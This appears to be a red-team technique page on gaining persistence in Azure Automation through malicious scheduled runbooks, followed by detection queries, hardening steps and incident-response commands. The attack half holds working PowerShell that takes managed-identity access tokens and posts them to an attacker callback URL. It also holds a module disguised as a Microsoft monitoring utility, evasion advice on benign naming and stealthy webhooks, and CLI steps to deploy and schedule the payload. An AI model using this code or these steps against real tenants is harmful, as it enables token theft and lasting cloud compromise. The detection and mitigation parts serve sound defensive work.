| Attribute | Details |
|---|---|
| Technique ID | PERSIST-SCHED-001 |
| MITRE ATT&CK v18.1 | T1053 - Scheduled Task/Job |
| Tactic | Persistence |
| Platforms | Entra ID, Azure Automation, Cloud Services |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | All Azure Automation versions |
| Patched In | N/A (No known patch; requires access control hardening) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure Automation Runbooks are cloud-native task scheduling mechanisms that execute PowerShell scripts on a specified schedule or via webhooks. An attacker with sufficient privileges (Automation Account Owner, Contributor, or service principal with Microsoft.Automation/automationAccounts/runbooks/write permissions) can create persistent runbooks that execute malicious payloads automatically. The runbooks can be scheduled to run at regular intervals, at system startup (via webhooks), or on-demand. Unlike traditional Windows Task Scheduler, Azure Runbooks execute in a cloud-native sandbox environment, making them difficult to detect and remediate without comprehensive Azure audit logging.
Attack Surface: Azure Automation Accounts, OAuth 2.0 authenticated runbooks, PowerShell runtime environments, webhook triggers, and managed identities (System-Assigned or User-Assigned) that execute with elevated privileges.
Business Impact: Critical - Full Environment Compromise. Once a persistent runbook is deployed, an attacker can execute arbitrary code on a recurring schedule with the privileges of the Automation Account’s managed identity or service principal. This can lead to lateral movement, credential theft, ransomware deployment, or complete infrastructure sabotage.
Technical Context: Runbook creation is a non-interactive operation that leaves minimal forensic artifacts if audit logging is not configured. Scheduled execution can be set to run hourly, daily, weekly, or via webhook triggers. Detection requires enabled Azure Activity Logging and careful analysis of the Microsoft.Automation/automationAccounts/runbooks/write operation.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS Azure Foundations 2.2.4 | Ensure that ‘Automation Account’ has a ‘Managed Identity’ enabled |
| DISA STIG | AZUR-CLD-000500 | All Automation Accounts must have audit logging enabled |
| NIST 800-53 | AC-3, AC-6 | Access Enforcement and Least Privilege for Azure Automation |
| GDPR | Art. 32 | Security of Processing - Data breach via compromised automation |
| DORA | Art. 9 | Protection and Prevention of operational resilience incidents |
| NIS2 | Art. 21(1)(b) | Cyber Risk Management - Unauthorized changes to critical infrastructure |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights for Azure roles |
| ISO 27005 | Risk Scenario | “Compromise of Cloud Automation Service” leading to lateral movement |
Microsoft.Automation/automationAccounts/runbooks/write actionSupported Platforms:
Tools Required:
Check if Automation Accounts exist in subscription:
# Connect to Azure
Connect-AzAccount
# List all Automation Accounts
Get-AzAutomationAccount -ResourceGroupName "*" | Select-Object Name, Location, ResourceGroupName
# Check if user has Contributor or Owner role on Automation Accounts
Get-AzRoleAssignment -Scope "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroup}/providers/Microsoft.Automation/automationAccounts/{accountName}"
What to Look For:
Check Managed Identity permissions:
# Get Automation Account details
$automationAccount = Get-AzAutomationAccount -Name "YourAccount" -ResourceGroupName "YourRG"
# List role assignments for the managed identity
Get-AzRoleAssignment -ObjectId $automationAccount.Identity.PrincipalId
# List Automation Accounts
az automation account list --output table
# Check current runbooks
az automation runbook list --automation-account-name myAccount --resource-group myRG
# Get role assignments on specific Automation Account
az role assignment list --scope "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroup}/providers/Microsoft.Automation/automationAccounts/{accountName}"
Supported Versions: All Azure Automation versions
Objective: Gain interactive access to Azure Portal with sufficient privileges
Manual Steps (Interactive User):
Via Service Principal (Unattended):
Objective: Locate the Automation Account where the runbook will be deployed
Manual Steps:
MyAutomation (blend in with naming conventions)OpSec & Evasion:
ProductionMonitoring, MaintenanceAutomation)Objective: Write PowerShell code that executes malicious payload and maintains persistence
Manual Steps:
SystemHealthCheck (benign name)# Malicious Runbook Code - Token Exfiltration via Managed Identity
Write-Output "Starting System Health Check..."
try {
# Connect using System-Assigned Managed Identity
$null = Connect-AzAccount -Identity -ErrorAction Stop
# Get access token for Graph API
$token = (Get-AzAccessToken -ResourceUrl "https://graph.microsoft.com").Token
# Get current user/principal information (for beacon)
$currentContext = Get-AzContext
$principalId = $currentContext.Account.Id
# Exfiltrate token to attacker-controlled callback server
$headers = @{
"Content-Type" = "application/json"
}
$body = @{
"token" = $token
"principal" = $principalId
"timestamp" = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
} | ConvertTo-Json
# Replace with actual attacker callback URL
$callbackUrl = "https://attacker-callback.com/token"
Invoke-RestMethod -Uri $callbackUrl -Method POST -Headers $headers -Body $body -ErrorAction SilentlyContinue
Write-Output "Health check complete."
}
catch {
Write-Error "Health check failed: $_"
}
Expected Output:
Starting System Health Check...
Health check complete.
What This Means:
OpSec & Evasion:
Write-Output statements that appear legitimate (health checks, monitoring)New-Backdoor, Invoke-Evil)Objective: Set the runbook to execute on a recurring schedule or webhook trigger
Manual Steps for Time-Based Scheduling:
DailyHealthCheckManual Steps for Webhook Trigger (Stealthier):
SystemMonitoringWebhook# Trigger webhook from attacker's system
curl -X POST "https://s5.automation.azure.com/webhooks?token=..." \
-H "Content-Type: application/json" \
-d '{"name":"SystemMonitor"}'
OpSec & Evasion:
Objective: Activate the runbook so it begins execution
Manual Steps:
Expected Output:
Write-Output statementsSupported Versions: All Azure Automation versions
# Login with user credentials (interactive)
az login
# OR login with service principal (unattended)
az login --service-principal -u <app-id> -p <secret> --tenant <tenant-id>
# Verify authenticated context
az account show
# Create runbook from inline script
az automation runbook create \
--automation-account-name "MyAutomation" \
--name "SystemHealthCheck" \
--resource-group "MyResourceGroup" \
--type "PowerShell" \
--description "System health monitoring runbook"
# OR create from file
az automation runbook create \
--automation-account-name "MyAutomation" \
--name "SystemHealthCheck" \
--resource-group "MyResourceGroup" \
--type "PowerShell" \
--location "eastus" \
--content @- < malicious_runbook.ps1
# Update runbook content with malicious code
az automation runbook replace \
--automation-account-name "MyAutomation" \
--name "SystemHealthCheck" \
--resource-group "MyResourceGroup" \
--content @- < malicious_runbook.ps1
# Publish the runbook
az automation runbook publish \
--automation-account-name "MyAutomation" \
--name "SystemHealthCheck" \
--resource-group "MyResourceGroup"
# Create schedule that runs daily at 2 AM UTC
az automation schedule create \
--automation-account-name "MyAutomation" \
--name "DailyHealthCheck" \
--resource-group "MyResourceGroup" \
--frequency "Day" \
--interval 1 \
--start-time "2025-01-10T02:00:00Z" \
--timezone "UTC"
# Link schedule to runbook
az automation job-schedule create \
--automation-account-name "MyAutomation" \
--schedule-name "DailyHealthCheck" \
--runbook-name "SystemHealthCheck" \
--resource-group "MyResourceGroup"
Supported Versions: PowerShell 7.2+ with Runtime Environments (Preview feature)
Objective: Package malicious code as a reusable PowerShell module that can be imported and hidden in legitimate runbooks
Create MaliciousModule.psm1:
# MaliciousModule.psm1
# Hidden persistence module - disguised as monitoring utility
function Invoke-SystemMonitor {
param(
[string]$CallbackUrl = "https://attacker-callback.com/beacon"
)
# Suppress Azure PowerShell warnings
$WarningPreference = "SilentlyContinue"
try {
# Connect as Managed Identity silently
$null = Connect-AzAccount -Identity
# Retrieve sensitive tokens
$token = (Get-AzAccessToken -ResourceUrl "https://management.azure.com").Token
# Build beacon payload
$beaconData = @{
"host" = $env:COMPUTERNAME
"user" = $env:USERNAME
"token" = $token
"subscriptions" = (Get-AzSubscription | Select-Object -ExpandProperty Id)
} | ConvertTo-Json
# Exfiltrate to attacker
Invoke-RestMethod -Uri $CallbackUrl -Method POST -Body $beaconData | Out-Null
return "Monitoring complete"
}
catch {
# Silently fail - don't expose error
return $null
}
}
Export-ModuleMember -Function Invoke-SystemMonitor
# Create module structure
mkdir MaliciousModule
cp MaliciousModule.psm1 MaliciousModule/
# Create manifest
cat > MaliciousModule/MaliciousModule.psd1 << 'EOF'
@{
RootModule = 'MaliciousModule.psm1'
ModuleVersion = '1.0'
Author = 'Microsoft'
Description = 'System monitoring and health check utilities'
FunctionsToExport = 'Invoke-SystemMonitor'
}
EOF
# Compress for upload
zip -r MaliciousModule.zip MaliciousModule/
Manual Steps:
MaliciousModule.zip fileVia Azure CLI:
# Upload module
az automation module create \
--automation-account-name "MyAutomation" \
--name "MaliciousModule" \
--resource-group "MyResourceGroup" \
--content @MaliciousModule.zip
Create MainRunbook.ps1:
# This runbook imports the malicious module and calls the hidden function
# It appears to be doing legitimate work
Write-Output "Starting daily system health check at $(Get-Date)"
# Import the "monitoring" module
Import-Module -Name MaliciousModule -ErrorAction SilentlyContinue
# Call the monitoring function (which is actually exfiltrating tokens)
$result = Invoke-SystemMonitor -CallbackUrl "https://attacker-callback.com/beacon"
if ($result) {
Write-Output "Health check: $result"
} else {
Write-Output "Health check completed silently"
}
Write-Output "Daily health check completed"
MainRunbook.ps1OpSec & Evasion:
Version: 8.0+ Minimum Version: 6.0 Supported Platforms: Windows, Linux, macOS
Installation:
# Install from PowerShell Gallery
Install-Module -Name Az -Force -AllowClobber
# OR update existing
Update-Module -Name Az
Key Commands for Runbook Creation:
# Connect to Azure
Connect-AzAccount
# Get Automation Account
Get-AzAutomationAccount -Name "MyAutomation" -ResourceGroupName "MyRG"
# Create runbook
New-AzAutomationRunbook -AutomationAccountName "MyAutomation" `
-Name "PersistenceRunbook" `
-Type PowerShell `
-ResourceGroupName "MyRG"
# Publish runbook
Publish-AzAutomationRunbook -AutomationAccountName "MyAutomation" `
-Name "PersistenceRunbook" `
-ResourceGroupName "MyRG"
# Create schedule
New-AzAutomationSchedule -AutomationAccountName "MyAutomation" `
-Name "HourlySchedule" `
-StartTime (Get-Date).AddHours(1) `
-HourInterval 1 `
-ResourceGroupName "MyRG"
# Create job schedule (link runbook to schedule)
Register-AzAutomationScheduledRunbook -AutomationAccountName "MyAutomation" `
-RunbookName "PersistenceRunbook" `
-ScheduleName "HourlySchedule" `
-ResourceGroupName "MyRG"
Version: 2.40+ Minimum Version: 2.0 Supported Platforms: Windows, Linux, macOS
Installation:
# On Ubuntu/Debian
curl -sL https://aka.ms/InstallAzureCLIDeb | bash
# On macOS
brew install azure-cli
# On Windows (via MSI)
# Download from https://aka.ms/installazurecliwindows
Key Commands:
# Login
az login
az login --service-principal -u <app-id> -p <secret> --tenant <tenant-id>
# Create runbook
az automation runbook create \
--automation-account-name "MyAutomation" \
--name "PersistenceRunbook" \
--resource-group "MyRG" \
--type PowerShell
# Create schedule
az automation schedule create \
--automation-account-name "MyAutomation" \
--name "HourlySchedule" \
--resource-group "MyRG" \
--frequency Hour \
--interval 1
# Create job schedule
az automation job-schedule create \
--automation-account-name "MyAutomation" \
--schedule-name "HourlySchedule" \
--runbook-name "PersistenceRunbook" \
--resource-group "MyRG"
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName has "Microsoft.Automation/automationAccounts/runbooks"
and OperationName has "write"
| where Result == "Success"
| extend InitiatedByUser = tostring(InitiatedBy.user.userPrincipalName)
| extend TargetResourceName = tostring(TargetResources[0].displayName)
| extend TargetResourceType = tostring(TargetResources[0].type)
| project TimeGenerated, InitiatedByUser, OperationName, TargetResourceName,
TargetResourceType, ActivityDisplayName, AADTenantId
| where OperationName contains "runbooks/draft/write" or
OperationName contains "runbooks/publish/action"
What This Detects:
Manual Configuration Steps (Azure Portal):
Azure Automation Runbook Created or ModifiedHigh10 minutes2 hoursKQL Query:
AuditLogs
| where OperationName has "Microsoft.Automation/automationAccounts/jobs/write"
and Result == "Success"
| extend RunbookName = tostring(TargetResources[0].displayName)
| extend JobId = tostring(TargetResources[0].resourceName)
| extend CreatedByUser = tostring(InitiatedBy.user.userPrincipalName)
| where RunbookName has "Health" or RunbookName has "Monitor" or
RunbookName has "Automation"
| project TimeGenerated, CreatedByUser, RunbookName, JobId,
TargetResources, AADTenantId
| summarize EventCount = count() by RunbookName, CreatedByUser, bin(TimeGenerated, 1h)
| where EventCount > 5 // Alert if runbook executed more than 5 times per hour
What This Detects:
Note: Azure Automation Runbooks execute in a cloud-native sandbox and do not generate traditional Windows Event Log entries. However, if runbooks interact with on-premises systems via Hybrid Runbook Workers, Event ID 4688 (Process Creation) may capture invocations. Refer to Cloud Audit Logging section above for monitoring strategies.
Rule Configuration:
SPL Query:
index=azure_activity operationName="Microsoft.Automation/automationAccounts/runbooks/write"
OR operationName="Microsoft.Automation/automationAccounts/runbooks/publish/action"
status=Succeeded
| dedup object
| rename claims.ipaddr as src_ip
| rename caller as user
| stats count, min(_time) as firstTime, max(_time) as lastTime, values(dest) as dest
by object, user, src_ip, resourceGroupName
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`
| where count > 0
What This Detects:
Manual Configuration Steps (Splunk):
Number of events greater than 0Source: Splunk Cloud Security Research
1. Enable Comprehensive Audit Logging for All Automation Accounts
Manual Steps (Azure Portal):
AutomationAuditJobLogsJobStreamsDscNodeStatusAllMetricsVia PowerShell:
$automationAccount = Get-AzAutomationAccount -Name "MyAutomation" -ResourceGroupName "MyRG"
$workspaceId = "/subscriptions/{subscriptionId}/resourceGroups/{rgName}/providers/Microsoft.OperationalInsights/workspaces/{workspaceName}"
New-AzDiagnosticSetting -Name "AutomationAudit" `
-ResourceId $automationAccount.Id `
-WorkspaceId $workspaceId `
-Enabled $true `
-Category "JobLogs", "JobStreams"
Validation Command:
# Verify audit logging is enabled
Get-AzDiagnosticSetting -ResourceId $automationAccount.Id
Expected Output (If Secure):
Logs Enabled Retention
---- ------- ---------
JobLogs True 0
JobStreams True 0
2. Restrict Runbook Creation and Modification via RBAC
Manual Steps (Azure Portal):
Create Custom RBAC Role (PowerShell):
$roleDefinition = @{
Name = "Automation Runbook Approver"
Description = "Can view but not create/modify runbooks"
Type = "CustomRole"
Permissions = @{
Actions = @(
"Microsoft.Automation/automationAccounts/runbooks/read",
"Microsoft.Automation/automationAccounts/runbooks/*/read",
"Microsoft.Automation/automationAccounts/jobs/read"
)
NotActions = @(
"Microsoft.Automation/automationAccounts/runbooks/*/write",
"Microsoft.Automation/automationAccounts/runbooks/*/delete",
"Microsoft.Automation/automationAccounts/runbooks/publish/*"
)
}
AssignableScopes = @(
"/subscriptions/{subscriptionId}"
)
}
New-AzRoleDefinition -Role $roleDefinition
Validation Command:
# List all role assignments on Automation Account
Get-AzRoleAssignment -Scope "/subscriptions/{subscriptionId}/resourceGroups/{rgName}/providers/Microsoft.Automation/automationAccounts/{accountName}"
Expected Output (If Secure):
Contributor or Automation Operator roles3. Disable Webhook-Based Triggering for Sensitive Runbooks
Manual Steps (Azure Portal):
Via PowerShell:
# List all webhooks in an Automation Account
Get-AzAutomationWebhook -AutomationAccountName "MyAutomation" -ResourceGroupName "MyRG" | Select-Object Name, IsEnabled
# Disable webhook
Set-AzAutomationWebhook -AutomationAccountName "MyAutomation" `
-Name "MyWebhook" `
-IsEnabled $false `
-ResourceGroupName "MyRG"
4. Implement Conditional Access Policies to Block Automation Account Access from Unusual Locations
Manual Steps (Azure Portal):
Block Automation Access from Suspicious Locations5. Monitor and Alert on Runbook Job Execution Failures (Indicator of Tampering)
Sentinel KQL Query:
AuditLogs
| where OperationName has "Microsoft.Automation/automationAccounts/jobs"
and Result == "Failure"
| extend FailureReason = tostring(FailureReason)
| project TimeGenerated, InitiatedBy.user.userPrincipalName, OperationName, FailureReason
| where FailureReason has "Unauthorized" or FailureReason has "Permission"
Azure Audit Log Indicators:
Microsoft.Automation/automationAccounts/runbooks/draft/writeMicrosoft.Automation/automationAccounts/runbooks/publish/actionMicrosoft.Automation/automationAccounts/jobs/write (job execution)Microsoft.Automation/automationAccounts/webhooks/write (webhook creation)Runbook Code Indicators (via content inspection):
Connect-AzAccount -Identity (managed identity authentication)Get-AzAccessToken or Get-AzContext (token extraction)Invoke-RestMethod with exfiltration URLsSuspicious Runbook Names:
SystemMonitor, HealthCheck, MaintenanceTask (benign-sounding, high likelihood of hiding malware)Cloud Audit Logs:
AuditLogs tableTimeGenerated - When runbook was created/modifiedInitiatedBy.user.userPrincipalName - Which user created itTargetResources[0].displayName - Runbook nameTargetResources[0].resourceId - Full resource IDTargetResources[0].modifiedProperties - Code changes (if available)Runtime Artifacts:
JobLogs table (Time, RunbookName, JobStatus, Output)1. Immediate Isolation:
# Disable the malicious runbook
Set-AzAutomationRunbook -AutomationAccountName "MyAutomation" `
-Name "SuspiciousRunbook" `
-ResourceGroupName "MyRG" `
-State Disabled
# Disable all schedules associated with it
Get-AzAutomationJobSchedule -AutomationAccountName "MyAutomation" `
-ResourceGroupName "MyRG" | Where-Object { $_.RunbookName -eq "SuspiciousRunbook" } | Remove-AzAutomationJobSchedule
2. Collect Evidence:
# Export the malicious runbook content
$runbookContent = Get-AzAutomationRunbook -AutomationAccountName "MyAutomation" `
-Name "SuspiciousRunbook" `
-ResourceGroupName "MyRG" | Get-AzAutomationRunbookContent
# Save to file for analysis
$runbookContent | Out-File -FilePath "C:\Evidence\malicious_runbook.ps1"
# Export audit logs
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) `
-EndDate (Get-Date) `
-FreeText "SuspiciousRunbook" | Export-Csv -Path "C:\Evidence\audit_logs.csv"
3. Remediate:
# Remove the malicious runbook
Remove-AzAutomationRunbook -AutomationAccountName "MyAutomation" `
-Name "SuspiciousRunbook" `
-ResourceGroupName "MyRG" -Force
# Remove associated webhooks
Get-AzAutomationWebhook -AutomationAccountName "MyAutomation" `
-ResourceGroupName "MyRG" | Where-Object { $_.Name -like "*Suspicious*" } | Remove-AzAutomationWebhook
# Reset credentials for service principal if used
Remove-AzADServicePrincipalCredential -ObjectId <service-principal-id>
4. Investigate Token Exfiltration:
# Check Azure AD Sign-In logs for unauthorized token usage
Get-AzAuditActivityLog -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) `
-ResourceProvider "Microsoft.Authorization" | Where-Object { $_.Authorization.Action -like "*read*" }
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | IA-PHISH-001 | Phishing attack to compromise user account with Azure access |
| 2 | Privilege Escalation | PE-ACCTMGMT-001 | Escalate compromised user to Automation Account Contributor |
| 3 | Current Step | [PERSIST-SCHED-001] | Create persistent runbook for recurring execution |
| 4 | Impact | CA-TOKEN-001 | Use runbook-exfiltrated token to access additional cloud resources |
| 5 | Collection | COL-M365-001 | Exfiltrate sensitive data from Exchange Online / SharePoint |